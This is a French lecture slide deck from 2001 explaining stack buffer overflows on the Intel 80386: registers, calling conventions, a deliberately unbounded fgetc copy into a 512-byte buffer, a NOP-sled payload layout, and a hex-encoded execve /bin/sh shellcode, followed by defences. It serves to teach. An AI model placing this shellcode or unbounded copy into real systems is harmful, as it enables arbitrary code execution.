Sécurité et Buffer Overflow Yan Morvan – Juin 2001
Plan Le microprocesseur Intel 80386 Principe du Buffer Overflow Que faire après la prise de contrôle ? Comment se protéger contre ces attaques ?
Le microprocesseur Intel 80386 Les registres de segment : CS, SS, DS, ES, FS, GS Les registres banalisés : EAX, EBX, ECX, EDX, ESI, EDI Les autres registres : EFLAGS, EIP, EBP, ESP
Décomposition d’un programme le code les datas la pile
Mécanisme de segmentation CS SS DS descripteur de segment Code Pile Datas Mémoire
Organisation de la mémoire sous Windows 32 et Linux CS SS DS descripteur de segment Code Pile Datas Mémoire
L’instruction mov movx <source>,<dest> ; x = b, w ou l movl $2001,%eax // EAX <- 2001 ; copie le nombre 2001 dans EAX movw $0xFFFF,%bx // BX<- 0xFFFF ; copie la valeur 65536 dans BX movl %ecx,(%eax) // [EAX] <- ECX ; [EAX] est la case mémoire pointée par EAX movb $0,4(%eax) // [EAX+4] <- 0 ; adressage base, déplacement
Les sauts inconditionnels jmp 0x08056E42 /* Adressage direct EIP <- 0x08056E42 ; le programme va à l’adresse 0x08056E42 */ Debut: /* Etiquette Debut */ jmp Debut /* Déplacement généré sur 8 bits de valeur –2 (2 est la taille en octets de l’instruction jmp Debut) */ jmp *%eax /* Adressage indirect EIP <- EAX ; Saut à l’adresse contenue dans EAX */
La pile pushl <dest> décrémente ESP de 4 et pousse le contenu de <dest> sur la pile popl <dest> dépile la valeur pointée par ESP dans <dest> et incrémente ESP de 4
Conventions de la procédure appelante d = appel(a,b,c) ; pushl c pushl b pushl a call appel addl $12,%esp // Suppression des paramètres de la pile. void main() { int a,b,c,d ; | d = appel(a,b,c) ; }
Conventions de la procédure appelée Début : pushl %ebp // EBP empilé movl %esp,%ebp // EBP <- ESP subl $8,%esp /* Place pour les variables locales d et pt D est un entier de 4 octets Pt est un pointeur contenant une adresse. Il est donc codé sur 4 octets. */ pushad // Sauvegarde de tous les registres Fin : popad // Restauration des registres movl –4(%ebp),%eax // -4(%ebp) contient la valeur de d movl %ebp,%esp // Suppression des variables locales popl %ebp // Restauration de l'ancien EBP ret int appel(int a, int b, int c) { int d ; char *pt ; | return d ; }
nème paramètre empilé par l'appelant Contexte de l'appelant nème paramètre empilé par l'appelant 1er paramètre empilé par l'appelant Adresse de retour empilée par call EBP de l'appelant sauvé par l'appelé 1ère variable locale de l'appelé nème variable locale de l'appelé Sauvegarde des registres utilisés par l'appelé Adresses hautes Adresses basses Croissance de la pile ESP EBP
Le programme vulnérable int main(int argc , char * argv[]) { // Lit une chaine dans le fichier texte passe en 1er paramètre et l'affiche à l'écran char buf[512] , *c ; FILE *fichier ; | c = &buf[0] ; while((*c = fgetc(fichier)) != 0) { c++ ; }
Etat de la pile au début du main Adresse de retour empilée par call main EBP de l'appelant sauvé par main pointeur *c (4 octets) Adresses hautes Adresses basses ESP EBP buf 512 octets buf[511] buf[0] *fichier (16 octets) 8 octets supplémentaires
Nouvelle adresse de retour Adresses basses Adresses hautes buf[0] NOP shellcode 0xeb 0x18 'h' Nouvelle adresse de retour buf[511] EBP sauvegardé adresse de retour Sens de la pile Exécution des instructions size_tot size_tot / NOP_DIV
Ouvrir un shell en C #include <stdio.h> void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); }
Besoins nécessaires à l’ouverture du Shell Avoir en mémoire la chaîne "bin/sh" suivie du caractère NULL (caractère de fin de chaîne) Avoir en mémoire l'adresse de la chaîne "bin/sh" suivie d'un double mot NULL Copier 0xb dans le registre EAX Copier l'adresse de "bin/sh" dans le registre EBX Copier l'adresse de l'adresse de "/bin/sh" dans le registre ECX Copier NULL dans le registre EDX Exécuter l'instruction int $0x80
Compilation et obtention des codes opérations void main() { __asm__(" jmp 0x18 //2 octets popl %esi // 1 octet movl %esi,0x8(%esi) // 3 octets xorl %eax,%eax // 2 octets movb %al,0x7(%esi) // 3 octets movl %eax,0xc(%esi) // 3 octets movb $0xb,%al // 2 octets movl %esi,%ebx // 2 octets leal 0x8(%esi),%ecx // 3 octets leal 0xc(%esi),%edx // 3 octets int $0x80 // 2 octets call -0x19 // 5 octets .string \"/bin/sh\" "); } char shellcode[] = "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
Précautions à prendre Supprimer du code les caractères interdits Utiliser l’adressage relatif pour les sauts Positionner le pointeur de pile pour ne pas écraser le code
Exploit sous Windows Importation des fonctions systèmes utiles avec LoadLibraryA et GetProcAddress de la librairie Kernel32.dll Utiliser un débugger temps réel pour trouver l’adresse de retour Editer le fichier texte avec un éditeur binaire
Se protéger lorsqu’on est utilisateur Consulter régulièrement les newsletter portant sur la sécurité Appliquer les mises à jour immédiatement
Protéger lorsqu’on est développeur Instructions C à remplacer : gets(), strcpy(), strcat(), sprintf(), scanf(), sscanf() Utiliser StackGuard ou StackShield